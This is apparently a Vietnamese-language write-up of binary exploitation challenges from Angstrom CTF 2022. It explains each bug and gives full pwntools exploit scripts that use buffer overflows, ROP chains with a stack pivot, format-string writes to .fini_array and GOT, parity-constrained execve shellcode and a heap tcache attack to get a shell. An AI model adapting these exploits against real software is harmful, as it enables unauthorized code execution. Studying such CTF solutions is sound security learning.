Angstrom CTF 2022

whatsmyname

Source code:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static void generate_name(char *str)
{
    FILE *file = fopen("/dev/urandom","r");
	fgets(str, 48, file);
	fclose(file);
}

int main(){
    char yourName[48];
    char myName[48];
    
    char guess[48];

    setbuf(stdout, NULL);

    generate_name(myName);

    printf("Hi! What's your name? ");

    int n = read(0, yourName, 48);
    if (yourName[n-1] == '\n') yourName[n-1] = '\x00';

    printf("Nice to meet you, %s!\n", yourName);

    puts("Guess my name and you'll get a flag!");

    scanf("%48s[^\n]", guess);

    if (strncmp(myName, guess, 48) == 0){
        char flag[128];

		FILE *file = fopen("flag.txt","r");
		if (!file) {
		    puts("Error: missing flag.txt.");
		    exit(1);
		}

		fgets(flag, 128, file);
		puts(flag);
    }

    puts("Bye!");
    return 0;
}

Phân tích:

  • Chương trình sẽ random 1 chuỗi ở hàm generate_name lưu vào myName, sau đó cho chúng ta nhập vào 1 chuỗi nếu như 2 chuỗi bằng nhau thì sẽ in ra flag cho chúng ta. Như vậy bài này chúng ta sẽ phải tìm 1 chuỗi để nhập vào sao cho nó so sánh bằng nhau, nhưng làm bằng cách nào ??

  • Để ý kĩ dòng 25 ở source code thì ta sẽ thấy nó thay thế kí tự '\n' nằm ở cuối chuỗi bằng null byte, nhưng ở đây lại xuất hiện bug đó là nếu như ta nhập vào chuỗi yourName 48 ký tự không bao gồm '\n', thì lúc này lệnh if sẽ không thêm null byte vào cuối chuỗi làm cho chuỗi yourName nối vào chuỗi sau dẫn đến lỗi leak information.

  • Và vô tình thay chuỗi nằm phía chính là myName được random khi nãy, lệnh printf dòng 27 sẽ in ra chuỗi yourName+myName như vậy ta có thể leak được chuỗi myName.

Code solve của mình:

from pwn import *

#p = proces("./whatsmyname")

p = remote('challs.actf.co', 31223)

p.send(b'A'*48)

p.recvuntil(b'A'*48)

leak = p.recvuntil(b'!\n',drop = True)

print("bytes_receive = ", leak)

leak = leak + b'\0' 
p.sendline(leak)

print(p.recv())

p.interactive()

wah

Bài này là bài bof đơn giản, chỉ cần đè ret về hàm flag là xong

Code solve:

from pwn import *

p = remote("challs.actf.co", 31224)

payload =b"A"*40
payload += p64(0x000000000040123b)

p.sendline(payload)

p.interactive()

whereami

Mã giả:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[60]; // [rsp+0h] [rbp-40h] BYREF
  __gid_t rgid; // [rsp+3Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("I'm so lost.");
  printf("Who are you? ");
  if ( counter > 0 )
    exit(1);
  ++counter;
  gets(v4);
  puts("I hope you find yourself too.");
  return 0;
}

Phân tích:

  • Chương trình có bug ở hàm gets cho phép ta ghi đè ret. Mình nghĩ đến việc cho chương trình quay lại chuỗi rop chain, vì đề cho libc nên mình xài one_gadget để lên shell.

  • Muốn sử dụng cách trên thì phải có libc base nên trước tiên mình sẽ leak libc bằng cách truyền tham số cho hàm puts bằng một địa chỉ got nào đó, thì nó sẽ leak ra cho mình địa chỉ của hàm đó trong libc, ở đây mình truyền got_puts. Sau đó one_gadget = libc base + offset

  • Sau khi leak được puts thì mình sẽ quay lại hàm main để đè ret về one_gadget, nhưng khi quay lại hàm main nó sẽ check xem biến counter có lớn hơn 0 hay không, nếu có thì sẽ chạy hàm exit. Vì nãy đã chạy hàm main 1 lần rồi nên counter lúc này = 1 => exit

  • Vậy làm sao để bypass qua đoạn trên??? Chỉ cần đè ret về phía sau đoạn đó thôi =)). Nhưng mà khi đè ret về đoạn sau hàm if, vì chương trình k có phần dẫn nhập hàm ( nôm na là đoạn push rbp, mov rsp, rbp) nên sẽ dẫn đến khi ta nhập vào payload thứ 2 thì nó sẽ nằm đi chỗ khác, các bạn sẽ hiểu rõ hơn nếu nhìn hình dưới.

  • Hình trên là lần đầu tiên chạy, hàm gets nhận tham số ở thanh ghi rdi chính là địa chỉ nó sẽ lưu giá trị sau khi ta nhập vào ở đây là 0x7fffffffde50 cũng chính là giá trị thanh ghi rsp. Còn nếu như ta đè ret để quay lại đoạn đó thì sẽ như hình bên dưới

  • Giá trị thanh rdi và thanh ghi rsp không giống nhau dẫn đến nếu ta không thể đè ret address được.

  • Như vậy để bypass qua đoạn trên thì mình sử dụng kĩ thuật stack pivot, nôm na thì kĩ thuật này sẽ write vào 1 vùng sau đó chỉnh stack về vùng này. Mình sẽ chọn vùng có quyền write ở đây là bss, sau đó dùng gadget poprdi lấy địa chỉ vùng này làm tham số cho hàm gets.

  • Sau đó mình sẽ đè rbp bằng địa chỉ mình đã ghi vào khi chương trình nhảy đến lệnh leave, lệnh này sẽ gán thanh giá trị thanh ghi rbp cho rsp.

  • rbp ở đây là 0x404068 và rdi là 0x404068

  • Sau khi thực hiện lệnh leave

  • Như vậy là chương trình đã quay về rop chain.

Code solve:

from pwn import *

elf = ELF("./whereami")
libc = ELF("./libc.so.6")
#p = elf.process()
p = remote("challs.actf.co", 31222)
raw_input("DEBUG")
ret = 0x000000000040101a
pop_rdi = 0x0000000000401303
pop_rbp = 0x00000000004011dd

payload = b"A"*64
payload += p64(0x404060)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.sym['puts'])
payload += p64(pop_rdi)
payload += p64(0x404068)
payload += p64(0x000000000040127c) #main+134

p.sendline(payload)
p.recvuntil("I hope you find yourself too.\n")
leaked_puts = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00"))
libc.address = leaked_puts - libc.sym['puts']
one_gadget = libc.address + 0xe3b2e
log.info("leaked_puts: "+hex(leaked_puts))
log.info("libc base "+hex(libc.address))
log.info("one_gadget " +hex(one_gadget))

payload2 = p64(0x00000000004012fc) #pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(0)
payload2 += p64(one_gadget)
p.sendline(payload2)

p.interactive()

really obnoxious problem

Bài này cũng là bài bof đơn giản, ta chỉ cần đè ret về hàm flag nhưng phải set tham số cho hàm là 0x1337 và chuỗi "bobby"

void __fastcall flag(int a1, const char *a2)
{
  char s[136]; // [rsp+10h] [rbp-90h] BYREF
  FILE *stream; // [rsp+98h] [rbp-8h]

  if ( a1 == 0x1337 && !strncmp(a2, "bobby", 5uLL) )
  {
    stream = fopen("flag.txt", "r");
    if ( !stream )
    {
      puts("Error: missing flag.txt.");
      exit(1);
    }
    fgets(s, 128, stream);
    puts(s);
  }
}

Mình sẽ dùng các gadget để pop các giá trị vào thanh ghi rdi và thanh ghi rsi.

Code solve:

from pwn import *

elf = ELF("./really_obnoxious_problem")
p = elf.process()
#p = remote("challs.actf.co", 31225)
raw_input("DEBUG")
pop_rdi = 0x00000000004013f3
pop_rsi_r15 = 0x00000000004013f1
ret = 0x000000000040101a

payload =b"A"*72
payload +=p64(pop_rdi)
payload +=p64(0x1337)
payload +=p64(pop_rsi_r15)
payload +=p64(0x00000000004040A0)
payload +=p64(0x0)
payload += p64(elf.sym['flag'])

p.sendline(b"bobby")
sleep(0.1)
p.sendline(payload)

p.interactive()

caniride

Checksec

Mã giả

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp-440h] [rbp-440h] BYREF
  int i; // [rsp-43Ch] [rbp-43Ch]
  __gid_t v5; // [rsp-438h] [rbp-438h]
  int v6; // [rsp-434h] [rbp-434h]
  char format[64]; // [rsp-430h] [rbp-430h] BYREF
  _BYTE v8[1000]; // [rsp-3F0h] [rbp-3F0h] BYREF
  unsigned __int64 v9; // [rsp-8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  v5 = getegid();
  setresgid(v5, v5, v5);
  puts("Welcome to blairuber!");
  printf("Name: ");
  __isoc99_scanf("%49s", format);
  for ( i = 0; i <= 3; ++i )
    printf("%d) %s - %s\n", (unsigned int)i, (const char *)*(&drivers + i), (const char *)*(&desc + i));
  printf("Pick your driver: ");
  v3 = 0;
  __isoc99_scanf("%d", &v3);
  getchar();
  if ( v3 > 4 )
  {
    puts("Not enough drivers! Sorry.");
    exit(1);
  }
  sleep(3u);
  printf("Hi, this is %s your driver. Get in!\n", (const char *)*(&drivers + v3));
  sleep(3u);
  printf("So... tell me a little about yourself: ");
  v6 = read(0, v8, 999uLL);
  v8[v6] = 0;
  puts("Hmm, very interesting!");
  sleep(3u);
  printf("Well we're here. Bye, ");
  printf(format);
  puts("!");
  exit(0);
}

Phân tích:

  • Ta thấy chương trình cho ta nhập vào chuỗi format, sau đó thì cho nhập vào 999 ký tự nữa. Lỗi format string nằm ở dòng thứ 38 của chương trình

Ý tưởng:

  • Thường thì dạng bài này sẽ overwrite 1 cái gì đó về rop chain tại vì chương trình cho nhập tận 999 ký tự.

  • Vì bài này PIE bật nên để sử dụng các gadget thì ta cần phải leak được PIE trước tiên, sau khi leak được PIE base ta sẽ overwrite địa chỉ nào đó để ret về hàm main

  • Vì payload format string được nhập trước nên nếu ta sử dụng để leak PIE base thì sẽ không overwrite được địa chỉ => ta phải tìm cách khác để leak PIE base. Trong lúc mò thì mình thấy dòng thứ 22 cho nhập biến v3 sau đó check v3 > 4, nhưng nếu như nhập v3 âm thì sao. Ban đầu mình nhập -1, -2 không có gì xuất hiện cả, nhưng khi nhập -3 thì sẽ thấy có gì đó lạ, chặn debug thì mình biết đó là 1 địa chỉ trong binary

  • Leak được PIE base thì sẽ sử dụng được rop chain, nhưng bây giờ làm sao để ret được tới rop chain. Lúc đầu mình tính sẽ overwrite got của exit hoặc puts về hàm main, tại 2 hàm đó được gọi sau print(format), nhưng khi debug thì các địa chỉ được load sẵn nên khó có thể overwrite got về hàm main được.

  • Sau khoảng vài tiếng mày mò đi hỏi khắp nơi, mình sực nhớ ra trên pwnable.tw có bài 3x17 nó overwrite 1 vùng có tên là .fini_array link.

  • Mình sẽ check xem thử vùng .fini_array đang có giá trị gì

  • Giá trị 0x00005634e9901220 chính là địa chỉ hàm sau khi kết thúc chương trình sẽ gọi. Ta sẽ thấy sự khác biệt giữa giá trị trên và địa chỉ hàm main chỉ là 1 byte. Và vì 1 byte cuối luôn không đổi nên mình sẽ overwrite 1 byte cuối trên thành 1 byte cuối của hàm main, lúc này chương trình sẽ thành 1 loop, đồng thời mình leak libc base bằng format string luôn.

payload = b"%105c"
payload += b"%16$hhn"
payload += b"-%11$p"

p.sendlineafter(": ", payload)

p.sendlineafter(b"Pick your driver: ",b"-3")
p.recvuntil("Hi, this is ")
elf.address = u64(p.recvuntil(" your driver. Get in!\n",drop=True).ljust(8,b"\x00")) - 0x35a8
log.info("PIE BASE: " +hex(elf.address))

payload = p64(elf.address+0x3300) #fini_array_caller

p.sendlineafter(": ", payload)

p.recvuntil("-")
leak = p.recvuntil("!", drop=True)
libc.address = int(leak,16) - 0x1F2A28
log.info("LIBC BASE: " +hex(libc.address))y
  • Vậy là hoàn thành 50% payload =)), việc còn lại tìm cách ret chương trình về rop chain thôi.

  • Lúc này mình sẽ cố overwrite got của exit hoặc puts về rop chain, vì các địa chỉ đã được load sẵn nên lần này mình sẽ tìm các gadget trong libc chênh lệch không quá so với got của puts hoặc exit.

  • Trong lúc mày mò thì mình tìm được gadget:

0x0000000000044454 : add rsp, 0xa8 ; ret
  • gadget này không quá chênh lệch so với got của exit chỉ khác nhau ở 2 bytes cuối, nhưng gadget này có gì để mà mình chọn, các bạn xem hình dưới

  • Vậy là ta có thể ret về đâu 1 cách tùy ý. Payload thứ 2 của mình sẽ truyền địa chỉ /bin/sh cho rdi bằng sau đó gọi system để lên shell thôi.

from pwn import *

elf = ELF("./caniride_patched")
libc = ELF("./libc.so.6")

p = elf.process()
#p = remote("challs.actf.co",31228)
context.arch = "amd64"
raw_input("DEBUG")

payload = b"%105c"
payload += b"%16$hhn"
payload += b"-%11$p"

p.sendlineafter(": ", payload)

p.sendlineafter(b"Pick your driver: ",b"-3")
p.recvuntil("Hi, this is ")
elf.address = u64(p.recvuntil(" your driver. Get in!\n",drop=True).ljust(8,b"\x00")) - 0x35a8
log.info("PIE BASE: " +hex(elf.address))

payload = p64(elf.address+0x3300) #fini_array_caller

p.sendlineafter(": ", payload)

p.recvuntil("-")
leak = p.recvuntil("!", drop=True)
print(leak)
libc.address = int(leak,16) - 0x1f29b8
log.info("LIBC BASE: " +hex(libc.address))
gadget = libc.address + 0x0000000000044454
gadget = p64(gadget)
print(hex(u16(gadget[:-6])))
b = hex(u16(gadget[:-6]))
b = int(b,16) - 0x10

payload = b"A"*16
payload += ("%0{}c".format(b)).encode()
payload += b"%0012$hn"
payload += p64(elf.got['exit'])

p.sendlineafter(": ", payload)
p.sendlineafter(b"Pick your driver: ",b"-3")

pop_rdi = elf.address + 0x0000000000001503

payload += b"A"*40 
payload += p64(pop_rdi)
payload += p64(libc.address + 0x1b45bd)
payload += p64(libc.sym['system'])
p.sendlineafter(": ", payload)


p.interactive()

parity

checksec

Mã giả:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-14h]
  void *buf; // [rsp+10h] [rbp-10h]
  __gid_t rgid; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  printf("> ");
  buf = mmap(0LL, 0x2000uLL, 7, 34, 0, 0LL);
  v4 = read(0, buf, 0x2000uLL);
  for ( i = 0; i < v4; ++i )
  {
    if ( (*((_BYTE *)buf + i) & 1) != i % 2 )
    {
      puts("bad shellcode!");
      return 1;
    }
  }
  ((void (__fastcall *)(_QWORD))buf)(0LL);
  return 0;
}
  • Chương trình check cho nhập vào shellcode nhưng sẽ check từng byte chẵn lẻ.

Code solve:

from pwn import *

elf = ELF("./parity")

#p = elf.process()
p = remote("challs.actf.co", 31226)
context.arch = 'amd64'

raw_input("DEBUG")


shell = asm(
            f"""
            xor rsp, rsp
            cmc
            add rsp, {elf.bss(0x10401)}
            cmc
            sub rsp, 0x10001
            cmc

            xor rdx, rdx
            cmc

            mov al, 0x67
            inc ax
            cmc
            shl rax, 7
            shl rax, 1
            cmc 
            
            mov al, 0x73
            shl rax, 7
            shl rax, 1
            cmc

            mov al, 0x2f
            shl rax, 7
            shl rax, 1
            cmc

            mov al, 0x6d
            inc ax
            cmc
            shl rax, 7
            shl rax, 1
            cmc

            mov al, 0x69
            shl rax, 7
            shl rax, 1
            cmc

            mov al, 0x61
            inc ax
            cmc
            shl rax, 7
            shl rax, 1
            cmc

            mov al, 0x2f
            
            push rax
            pop rdi
            nop
           
            push rdi
            push rsp
            pop rbx

            push rdx
            cmc
            push rsp
            cmc
            pop rdx
            push rbx
            push rsp
            pop rcx

            xor rsi, rsi

            xor eax, eax
            cmc
            mov al, 0x0b
            nop
            int 0x80
            """
        )

payload = shell
p.send(payload)

p.interactive()

dreams

code solve:

from pwn import *

elf = ELF("./dreams")

#p = elf.process()
#raw_input("DEBUG")
p = remote("challs.actf.co", 31227)
libc = ELF("./libc.so.6")

def malloc(idx, date=b"", payload=b""):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"dream? ", str(idx).encode())
    p.sendlineafter(b"? ", date)
    p.sendlineafter(b"? ", payload)

def free(idx):
    p.sendlineafter(b"> ", b"2")
    p.sendlineafter(b"? ", str(idx).encode())

def psy(idx, payload=b""):
    p.sendlineafter(b"> ", b"3")
    p.sendlineafter(b"trouble? ", str(idx).encode())
    result = p.sendlineafter(b"date: ", payload)
    return result

malloc(4)
malloc(0)
free(4)
free(0)

p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"trouble? ", str(0).encode())
heap_base = u64(p.recvline()[:-1].split(b" ")[-1].ljust(8, b'\x00')) - 0x10 
log.info("Heap base: " + hex(heap_base))
    
p.sendlineafter(b"date: ", p64(heap_base+0x2a0))
malloc(1)
malloc(2)
psy(2, p64(elf.got['__libc_start_main'] - 8))
result = psy(0)

libc.address = u64(result.split(b"\n")[0][-6:].ljust(8, b'\x00')) - libc.sym['__libc_start_main']
log.info("Libc base: " + hex(libc.address))
psy(2, p64(libc.address + 0x1eee48))
psy(0, p64(libc.address + 0x522c0))
malloc(3, "/bin/sh\x00")
free(3)

p.interactive()

Last updated